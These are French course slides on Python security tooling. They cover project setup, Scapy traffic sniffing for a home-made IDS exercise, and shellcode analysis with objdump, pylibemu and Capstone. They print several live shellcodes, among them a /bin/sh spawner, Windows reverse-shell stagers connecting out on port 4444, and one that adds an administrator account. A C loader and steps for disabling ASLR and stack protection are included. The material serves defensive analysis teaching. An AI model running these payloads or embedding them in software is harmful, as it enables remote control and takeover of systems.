SÉCURITÉ PYTHON
ESGI 4A - FILIÈRE SI
2024 - 2025
Au menu
1 Rappels et prérequis
2 Module 1 - python défensif : analyse réseau
3 Module 2 - python défensif : analyse de shellcode
4 Module 3 - python offensif : automatisation CAPTCHA
5 Module 4 - python offensif : automatisation attaques réseaux
ESGI 4A - Programmation et sécurité python avancée 2 / 100
RAPPELS ET PRÉREQUIS
Avez vous les bases ?
Les slides du cours de Python 3A sont disponibles sur MyGes.
Vous pouvez remercier votre directeur pédagogique.
ESGI 4A - Programmation et sécurité python avancée 4 / 100
Organisation et notation
Cours théorique
4 TP à rendre (notation facultative)
1 QCM = 1 note de CC
1 projet final = 1 note d'exam
Utilisation abusive de (ChatGPT, Mistral, Claude, etc) = 1/20
ESGI 4A - Programmation et sécurité python avancée 5 / 100
Environnement de développement
PyCharm ️> all -> the best !!!
Visual Studio Code -> ok mais moins adapté que PyCharm.
Vim ?
ESGI 4A - Programmation et sécurité python avancée 6 / 100
Structure d'un projet
src/ # Répertoire des sources
tests/ # Répertoire des tests
[Link] # Fichier de description du projet
.[Link] # Configuration de pre-commit
[Link] # Fichier de lock de poetry
[Link] # Fichier de configuration de poetry
.gitignore # Fichier d'exclusion de git
.git/ # Répertoire de git
.idea/ # Répertoire de PyCharm
.venv/ # Répertoire de l'environnement virtuel
ESGI 4A - Programmation et sécurité python avancée 7 / 100
Gestionnaire de paquet : poetry
Poetry est un gestionnaire de dépendances et un outil de packaging
pour Python. Il permet de gérer facilement les bibliothèques
nécessaires à un projet et de créer des environnements isolés.
ESGI 4A - Programmation et sécurité python avancée 8 / 100
Installation de Poetry
# Via pip :
pip install poetry
# Via le script officiel :
curl -sSL [Link] | python3 -
ESGI 4A - Programmation et sécurité python avancée 9 / 100
Initialisation d'un projet
Pour créer un nouveau projet avec Poetry :
poetry new nom_du_projet
Pour initialiser Poetry dans un projet existant :
poetry init
Répondez aux questions pour configurer le fichier [Link] .
ESGI 4A - Programmation et sécurité python avancée 10 / 100
Installation de dépendances
Ajouter une dépendance Installer toutes les dépendances
poetry add nom_du_paquet poetry install
Ajouter une dépendance de
développement
poetry add --dev nom_du_paquet
ESGI 4A - Programmation et sécurité python avancée 11 / 100
Gestion des environnements virtuels
Activer l'environnement virtuel :
poetry shell
Exécuter une commande dans l'environnement virtuel :
poetry run python [Link]
ESGI 4A - Programmation et sécurité python avancée 12 / 100
Mise à jour des dépendances
Pour mettre à jour toutes les dépendances :
poetry update
Pour mettre à jour une dépendance spécifique :
poetry update nom_du_paquet
ESGI 4A - Programmation et sécurité python avancée 13 / 100
Gestion des scripts
Vous pouvez définir des scripts dans le fichier [Link] :
[[Link]]
mon_script = "module:fonction"
Exécutez ensuite le script avec :
poetry run mon_script
ESGI 4A - Programmation et sécurité python avancée 14 / 100
Commandes utiles
Vérifier les dépendances : Supprimer une dépendance :
poetry check poetry remove nom_du_paquet
Lister les dépendances :
poetry show
ESGI 4A - Programmation et sécurité python avancée 15 / 100
Pré-commit
Pre-commit est un outil permettant d'exécuter des vérifications avant
chaque commit.
Pour l'installer :
pip install pre-commit
ESGI 4A - Programmation et sécurité python avancée 16 / 100
Configuration de pre-commit
Créez un fichier .[Link] à la racine du projet :
ESGI 4A - Programmation et sécurité python avancée 17 / 100
Configuration de pre-commit
repos:
- repo: [Link]
rev: v4.4.0 # Use the latest stable version
hooks:
- id: trailing-whitespace
- id: end-of-file-fixer
- id: check-yaml
- id: check-added-large-files
- repo: [Link]
rev: v0.9.7
hooks:
- id: ruff
args: [--fix, --exit-non-zero-on-fix, --ignore=E711]
- id: ruff-format
args: [--line-length=110]
- repo: [Link]
rev: v2.3.1
hooks:
- id: autoflake
args: [--remove-all-unused-imports, --in-place]
ESGI 4A - Programmation et sécurité python avancée 18 / 100
Utilisation de pre-commit
1. Installer les hooks définis dans .[Link] :
pre-commit install
2. Exécuter manuellement les hooks sur tous les fichiers :
pre-commit run --all-files
3. Lors de chaque commit, les hooks s'exécuteront automatiquement
pour vérifier les fichiers modifiés.
ESGI 4A - Programmation et sécurité python avancée 19 / 100
Les tests !
Les tests sont importants pour garantir le bon fonctionnement de
votre code.
Ils sont malheureusement souvent négligés par les développeurs.
ESGI 4A - Programmation et sécurité python avancée 20 / 100
Les tests avec pytest
Pytest est un framework de test pour Python. Il permet de créer des
tests unitaires et fonctionnels.
Pour l'installer à votre projet :
poetry add pytest
pip install pytest # Si vous n'utilisez pas Poetry
ESGI 4A - Programmation et sécurité python avancée 21 / 100
Les tests avec pytest
Pour exécuter les tests :
poetry run pytest
Ou directement dans PyCharm
ESGI 4A - Programmation et sécurité python avancée 22 / 100
Ecrire des tests
Créez un fichier test_nom_du_module.py dans le répertoire tests/ .
def test_fonction():
assert fonction() == "Résultat attendu"
assert est une fonction vérifiant si une condition est vraie. Si la
condition est fausse, une exception AssertionError est levée.
ESGI 4A - Programmation et sécurité python avancée 23 / 100
Ecrire des tests
Votre fonction de test doit suivre la structure suivante :
Reprendre le nom explicit du test à effectuer
Suivre les étapes suivantes :
i. Given : Initialisation des données
ii. When : Exécution de la fonction à tester
iii. Then : Vérification du résultat
ESGI 4A - Programmation et sécurité python avancée 24 / 100
Ecrire des tests
Petit exemple avec un projet d'auto-correction :
def test_if_answers_file_is_valid_return_true():
# Given
answers_file = [Link]([Link](__file__), "data/[Link]")
total_questions = 40
# When
result = verify_answers_file(answers_file, total_questions)
# Then
assert result is True
ESGI 4A - Programmation et sécurité python avancée 25 / 100
En vrac
Quelques autres bonnes pratiques en vrac :
Utiliser git pour versionner votre code.
Utiliser des noms de variables explicites.
Commenter votre code.
Fragmenter votre code en fonctions de 15 lignes maximum . 1 fonction
= 1 action
Utiliser logger à la place de print .
ESGI 4A - Programmation et sécurité python avancée 26 / 100
PYTHON DÉFENSIF
# Module 1 : écoute et analyse de trafic
réseau avec scapy
En quelques mots, Scapy
Développé par Philippe Biondi , distribué sous license GPLv2.
Interpréteur Python spécialisé réseau.
Parmis ses fonctionnalités :
forgeur de paquets
sniffeur
scanneur
Remplace de nombreux outils existants : ping, traceroute, nmap,
ettercap, wireshark, tcpdump ...
ESGI 4A - Programmation et sécurité python avancée 28 / 100
Les avantages
Non des moindres, c'est du Python.
Intègre un grand nombre de fonctions de haut niveau.
Multi taches
Modulaire
Extensible
Scapy permet de combiner simplement tout les avantages des outils
qu'il remplace.
ESGI 4A - Programmation et sécurité python avancée 29 / 100
Les inconvénients
Inutile sans un minimum d'effort, c'est une bibliothèque, donc elle ne
fait rien par définition.
Aucune interprétation des résultats.
Consommation excessive des ressources en cas de forte charge.
Le support de certains protocoles n'est pas complet.
ESGI 4A - Programmation et sécurité python avancée 30 / 100
Utilisation
Installation Lancement
# Pour les utilisateurs Arch Linux python
sudo pacman -S python-scapy
>>> import scapy
>>> # Écrivez votre code ici
# Pour les autres distributions
pip install scapy
ESGI 4A - Programmation et sécurité python avancée 31 / 100
Utilisation
Directement en ligne de commande
❯ scapy
>>>
L'aide
❯ scapy -h
Usage: [Link] [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P] [-H]
Args:
-H: header-less start
-C: do not read startup file
-P: do not read pre-startup file
ESGI 4A - Programmation et sécurité python avancée 32 / 100
Quelques fonctions
ls() : Affiche les protocoles disponible
ls(IP) : Affiche les champs du protocole IP
lsc() : Affiche la liste des commandes disponible
sniff.__doc__ : Affiche la documentation de la commande 'sniff'
ESGI 4A - Programmation et sécurité python avancée 33 / 100
Sniffing réseau
Scapy intègre dans sa bibliothèque une fonction de sniffing
permettant de capturer le trafic d'une interface très simplement.
sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None,
timeout=None, opened_socket=None, stop_filter=None, *arg, **karg)
ESGI 4A - Programmation et sécurité python avancée 34 / 100
Sniffing réseau
❯ sudo scapy
>>> sniff()
^C<Sniffed: TCP:61 UDP:4 ICMP:0 Other:0>
ESGI 4A - Programmation et sécurité python avancée 35 / 100
Sniffing réseau
❯ sudo scapy
>>> sniff(prn=lambda x: [Link]())
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 91
id = 30496
flags = DF
frag = 0
ttl = 116
ESGI 4A - Programmation et sécurité python avancée 36 / 100
Sniffing réseau
Lire et afficher les paquets IP d'une trace réseau à partir d'un fichier
pcap.
sniff(prn=lambda x: [Link](), offline="httpd_attack.pcap",
filter="ip")
S'attacher à une socket existante.
sniff(prn=lambda x: [Link](), L2socket=sock2)
Capturer durant 30 secondes ou 50 paquets au maximum et stocker
les paquets.
sniff(count=50, timeout=30, store=1)
ESGI 4A - Programmation et sécurité python avancée 37 / 100
Intercepter ses paquets DNS
from [Link] import *
def dns_packet_handler(pkt):
if [Link](DNS):
if [Link](DNS).qr == 0:
print("Requête DNS détectée:")
print("Source IP: {}".format(pkt[IP].src))
print("Nom de domaine demandé: {}".format(pkt[DNS].[Link]()))
elif [Link](DNS).qr == 1:
print("Réponse DNS détectée:")
print("Destination IP: {}".format(pkt[IP].dst))
print("Réponse: {}".format(pkt[DNSRR].rdata))
dns_filter = "udp port 53"
sniff(filter=dns_filter, prn=dns_packet_handler)
ESGI 4A - Programmation et sécurité python avancée 38 / 100
Intercepter ses paquets DNS
Premier terminal
sudo python [Link]
Second terminal
❯ dig [Link]
ESGI 4A - Programmation et sécurité python avancée 39 / 100
Intercepter ses paquets DNS
Réponse !
❯ sudo python [Link]
Requête DNS détectée:
Source IP: [Link]
Nom de domaine demandé: [Link].
Réponse DNS détectée:
Destination IP: [Link]
Réponse: [Link]
ESGI 4A - Programmation et sécurité python avancée 40 / 100
Intercepter ses paquets ARP
from [Link] import *
def arp_packet_handler(pkt):
if [Link](ARP):
if pkt[ARP].op == 1: # 1 pour une requête ARP (Who-Has)
print("Requête ARP détectée:")
print("Adresse IP source: {}".format(pkt[ARP].psrc))
print("Adresse IP cible: {}".format(pkt[ARP].pdst))
print("Adresse MAC source: {}".format(pkt[ARP].hwsrc))
elif pkt[ARP].op == 2: # 2 pour une réponse ARP (Is-At)
print("Réponse ARP détectée:")
print("Adresse IP source: {}".format(pkt[ARP].psrc))
print("Adresse IP cible: {}".format(pkt[ARP].pdst))
print("Adresse MAC source: {}".format(pkt[ARP].hwsrc))
print("Adresse MAC cible: {}".format(pkt[ARP].hwdst))
sniff(prn=arp_packet_handler)
ESGI 4A - Programmation et sécurité python avancée 41 / 100
Intercepter ses paquets ARP
Belle réponse !
❯ sudo python [Link]
Requête ARP détectée:
Adresse IP source: [Link]
Adresse IP cible: [Link]
Adresse MAC source: 68:a3:78:78:81:bc
Réponse ARP détectée:
Adresse IP source: [Link]
Adresse IP cible: [Link]
Adresse MAC source: 00:e0:4c:68:11:59
Adresse MAC cible: 68:a3:78:78:81:bc
ESGI 4A - Programmation et sécurité python avancée 42 / 100
Graphiques et rapports
De base Scapy dispose de fonctionnalités pour exporter une
représentation d'un paquet au format PS (PostScript), PDF...
[Link]() : Affiche un diagramme de la dissection du paquet au
format PostScript
[Link]() : Affiche un diagramme de la dissection du paquet au
format PDF
[Link]() : Affiche un nuage de point d'une communication réseau
[Link](type="jpg", target="> [Link]")
pkt.trace3D()
ESGI 4A - Programmation et sécurité python avancée 43 / 100
Graphiques et rapports
L'utilisation de ces fonctions requiert les modules complémentaire
Gnuplot-py, Numpy, PyX, gv, acroread, Latex, Graphiz, ImageMagick,
VPython.
Pour finir sur les dépendances complémentaires :
Pour déchiffrer des trames 802.11 en WEP : PyCrypto
Pour le fingerprint : nmap*
Pour la VOIP : Sox
ESGI 4A - Programmation et sécurité python avancée 44 / 100
Graphiques et rapports
# Ca claque avec Jean-Baptiste PyGal
PyGal : Python Graph plotting library
[Link]
yay pygal # I use Arch BTW
pip install pygal # Débrouillez vous
ESGI 4A - Programmation et sécurité python avancée 45 / 100
Interception ARP graphique
from [Link] import *
import pygal
# Variables pour stocker les données ARP
arp_requests_count = 0
arp_responses_count = 0
def arp_packet_handler(pkt):
global arp_requests_count, arp_responses_count
if [Link](ARP):
if pkt[ARP].op == 1: # 1 pour une requête ARP (Who-Has)
arp_requests_count += 1
elif pkt[ARP].op == 2: # 2 pour une réponse ARP (Is-At)
arp_responses_count += 1
# Capturez tous les paquets ARP
sniff(prn=arp_packet_handler)
# Génération du graphique avec Pygal
bar_chart = [Link]()
bar_chart.title = 'Statistiques ARP'
bar_chart.x_labels = ['Requêtes ARP', 'Réponses ARP']
bar_chart.add('Nombre de Requêtes ARP', arp_requests_count)
bar_chart.add('Nombre de Réponses ARP', arp_responses_count)
bar_chart.render_to_file('arp_stats.svg')
print("Graphique généré avec succès sous le nom 'arp_stats.svg'")
ESGI 4A - Programmation et sécurité python avancée 46 / 100
Interception ARP graphique
On laisse tourner quelques secondes :
❯ sudo python [Link]
^C
Graphique généré avec succès sous le nom 'arp_stats.svg'
ESGI 4A - Programmation et sécurité python avancée 47 / 100
Interception ARP graphique
Statistiques ARP
3
Nombre de Requ…
Nombre de Répo… 2.8
2.6
2.4
2.2
1.8
1.6
1.4
1.2
0.8
0.6
0.4
0.2
Requêtes ARP Réponses ARP
ESGI 4A - Programmation et sécurité python avancée 48 / 100
Limites
Scapy n'est malheureusement plus vraiment d'une grande aide
lorsqu'il s'agit de traiter un volume "important" de paquets.
Couteux en ressource.
Peu malléable.
Peu compétitif face aux IDS récents.
ESGI 4A - Programmation et sécurité python avancée 49 / 100
TP 1 : Un IDS/IPS maison
Écrire un programme capable d'analyser une interface réseau, afin de
capturer et d'effectuer des statistiques sur le trafic réseau capturé :
1. Utiliser Scapy pour capturer le trafic de votre interface réseau
principal.
2. Lister les protocoles réseaux reçus sur la carte.
3. Générer un rapport PDF avec un graphique et un tableau de tous les
protocoles reçus durant la capture, ainsi que leur quantité de paquets.
ESGI 4A - Programmation et sécurité python avancée 50 / 100
TP 1 : Un IDS/IPS maison
4. Analyser pour chaque protocole, les différents paquets et indiquer la
légitimité du trafic dans le PDF.
Si un trafic est illégitime (exemple : Injection SQL, ARP
Spoofing, etc)
a. Noter la tentative d'attaque.
b. Relever le protocole ainsi que l'adresse réseau/physique
de l'attaquant.
c. (FACULTATIF) Opérer le blocage de la machine
attaquante.
Sinon afficher que tout va bien
ESGI 4A - Programmation et sécurité python avancée 51 / 100
PYTHON DÉFENSIF
# Module 2 : analyse de shellcode avec
pylibemu
Shellcode
Un shellcode est un code injecté en mémoire vers lequel
l'exécution d'un programme est dirigé.
Il permet ainsi de réaliser une opération compromettant le
système (typiquement ouvrir un shell distant).
Il est représenté sous un ensemble de caractères qui représente
du code binaire exécutable.
ESGI 4A - Programmation et sécurité python avancée 53 / 100
Shellcode
Que fait ce shellcode ?
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68
\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f\x75\x73\x72\x2f
\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80
ESGI 4A - Programmation et sécurité python avancée 54 / 100
Shellcode
Et celui la ?
\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d
\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68
ESGI 4A - Programmation et sécurité python avancée 55 / 100
Shellcode
Qui suis je ?
❯ shellcode="\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73 \
\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f\x75 \
\x73\x72\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89 \
\xe1\xcd\x80"
❯ echo -ne $shellcode | strings
Rfh-c
h/sh
h /bin
/usr/ bin/whoami
ESGI 4A - Programmation et sécurité python avancée 56 / 100
Shellcode
Get pwn ?
❯ shellcode="\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c \
\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff \
\x2f\x62\x69\x6e\x2f\x73\x68"
❯ echo -ne $shellcode | strings
/bi n/sh
ESGI 4A - Programmation et sécurité python avancée 57 / 100
Limites
Bien entendu cette méthode a une limite très rapidement atteinte.
En effet si l’on tente l’analyse d’un shellcode provenant de Metasploit
:
❯ strings reverse_tcp.bin
SCSj
jfXPQW
...
Coup dur ! On ne voit rien...
ESGI 4A - Programmation et sécurité python avancée 58 / 100
Objdump
On avance !
❯ printf $(cat [Link]) > [Link]
❯ objdump -b binary -m i386 -D [Link]
[Link]: format de fichier binary
Déassemblage de la section .data :
00000000 <.data>:
0: fc cld
1: e8 89 00 00 00 call 0x8f
6: 60 pusha
7: 89 e5 mov ebp,esp
9: 31 d2 xor edx,edx
b: 64et 8b
ESGI 4A - Programmation 52 python
sécurité 30 avancée mov edx,DWORD PTR fs:[edx+0x30] 59 / 100
D'un point de vue dynamique
Sur Exegol
apt update
apt install gcc-multilib
sudo echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
ESGI 4A - Programmation et sécurité python avancée 60 / 100
D'un point de vue dynamique
On utilise un wrapper en C pour le shellcode 1
#include <stdio.h>
#include <string.h>
int main(){
char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\
\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f\x75\
\x73\x72\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\
\xe1\xcd\x80";
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
return ret();
}
ESGI 4A - Programmation et sécurité python avancée 61 / 100
D'un point de vue dynamique
On utilise un wrapper en C pour le shellcode 2
#include <stdio.h>
#include <string.h>
int main(){
char code[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\
\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\
\x2f\x62\x69\x6e\x2f\x73\x68";
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
return ret();
}
ESGI 4A - Programmation et sécurité python avancée 62 / 100
D'un point de vue dynamique
On compile en enlevant les protections
gcc shell.c -o shell -fno-stack-protector -z execstack -no-pie -m32
./shell
Shellcode length: 25
#
ESGI 4A - Programmation et sécurité python avancée 63 / 100
Libemu (à l'ancienne !)
Executing x86 instructions Shellcode execution
Reading x86 binary code Shellcode detection
Register emulation Using GetPC
Basic FPU emulation heuristics
Static analysis
Lien : Binary
[Link] backwardstraversal
Win32 API hooking
ESGI 4A - Programmation et sécurité python avancée 64 / 100
Pylibemu : du C au Python
La bibliothèque pylibemu est là pour faciliter l’accès aux
fonctionnalités de la libemu.
Ce n'est rien de plus qu'un portage en python de la libemu. Elle
permet un gain de temps lors du développement d'outils d'analyse
automatisé.
Lien : [Link]
ESGI 4A - Programmation et sécurité python avancée 65 / 100
Fonctions principales
Les principales fonctions pour démarrer avec pylibemu sont contenues
dans la classe Emulator() .
On y trouve des méthodes pour :
Vérifier la présence d'une charge malveillante.
Tester l'éxécution d'une application dans un environnement confiné.
Etudier/modifier le fonctionnement d'une application à la manière d'un
débugueur.
ESGI 4A - Programmation et sécurité python avancée 66 / 100
Installation
ATTENTION !
Vous allez être amené à analyser des shellcodes potentiellement
malicieux. Utilisez toujours un environnement isolé (VM, Docker,
etc...)
Meilleur option : [Link]
ESGI 4A - Programmation et sécurité python avancée 67 / 100
Sur Exegol
Sur votre hôte. Assurez-vous Dans le conteneur, installez
qu'Exegol est correctement libemu et pylibemu en suivant ces
installé, puis démarrez le étapes :
conteneur avec la commande
suivante : cd
git clone [Link]
cd libemu
autoreconf -v -i
./configure
exegol start pylibemu make
make install
ldconfig
pip install pylibemu
ESGI 4A - Programmation et sécurité python avancée 68 / 100
Exemples
Instancier la classe Emulator
import pylibemu
shellcode = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
shellcode += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
emulator = [Link]()
offset = emulator.shellcode_getpc_test(shellcode)
print(offset)
[Link](shellcode, offset)
[Link]()
print emulator.emu_profile_output
ESGI 4A - Programmation et sécurité python avancée 69 / 100
Exemples
exegol-pylibemu # python3 [Link]
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x12fe90 =>
= "ws2_32";
) = 0x71a10000;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244272;
) = 0x0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 0x42;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x12fe88 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port = 4444);
struct in_addr sin_addr = {
unsigned long s_addr = 339060928 (host = [Link]);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0x0;
int recv (
SOCKET s = 66;
char * buf = 0x12fe88 =>
none;
int len = 3072;
int flags = 0;
) = 0xc00;
ESGI 4A - Programmation et sécurité python avancée 70 / 100
Désassembler plus efficacement
Capstone est une bibliothèque multiplateforme qui permet de
désassembler des instructions binaires en code assembleur.
from capstone import *
ESGI 4A - Programmation et sécurité python avancée 71 / 100
Désassembler plus efficacement
from capstone import *
# Exemple de shellcode (ouvre une calculatrice sur Windows)
shellcode = b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe6\x50
\x68\x29\x80\x6b\x00\x89\xe1\x50\x50\x56\xb0\x0b\x89\xe1\x99\xcd\x80"
# Initialisation du désassembleur
md = Cs(CS_ARCH_X86, CS_MODE_32)
# Désassemblage du shellcode
for i in [Link](shellcode, 0x1000):
print(f"0x{[Link]:x}:\t{[Link]}\t{i.op_str}")
ESGI 4A - Programmation et sécurité python avancée 72 / 100
Désassembler plus efficacement
0x1000: xor eax, eax
0x1002: push eax
0x1003: push 0x636c6163
0x1008: mov esi, esp
0x100a: push eax
0x100b: push 0x6b8029
0x1010: mov ecx, esp
0x1012: push eax
0x1013: push eax
0x1014: push esi
0x1015: mov al, 0xb
0x1017: mov ecx, esp
0x1019: cdq
0x101a: int 0x8
ESGI 4A - Programmation et sécurité python avancée 73 / 100
Aller plus loin
Pwntools : [Link]
Exemple de debug :
from pwn import *
[Link] = ['tmux', 'splitw', '-h']
binary_path = "./votre_programme"
p = [Link]([binary_path], gdbscript="", exe=binary_path)
shellcode = asm([Link]())
[Link](shellcode)
[Link]()
ESGI 4A - Programmation et sécurité python avancée 74 / 100
TP 2 - Mais que fait il ?
Réaliser un script utilisant pylibemu pour détecter et analyser les
shellcodes suivants :
Niveau : Facile
\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB
\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E
\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E
\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40
\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E
\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F
\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE
\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF
\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF
ESGI 4A - Programmation et sécurité python avancée 75 / 100
TP 2 - Mais que fait il ?
Et celui là ? Il va falloir scripter un peu !
Niveau : Moyen
\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c
\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01
\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7
\x8b\x7c\xaf\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f\x41\x44\x44\x68\x6f\x72
\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63
\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44\x44\x20\x26\x68\x6e\x20\x2f\x41\x68
\x72\x6f\x4b\x33\x68\x33\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75
\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55
\xff\xd7
ESGI 4A - Programmation et sécurité python avancée 76 / 100
TP 2 - Mais que fait il ?
Et enfin celui là ?
Niveau : Difficile
\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b
\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52
\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58
\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38
\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c
\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12
\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8
\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x0a\x0a
\x0a\x68\x02\x00\x34\x19\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97
\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00
\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68
\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9
\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff
\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff
\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5
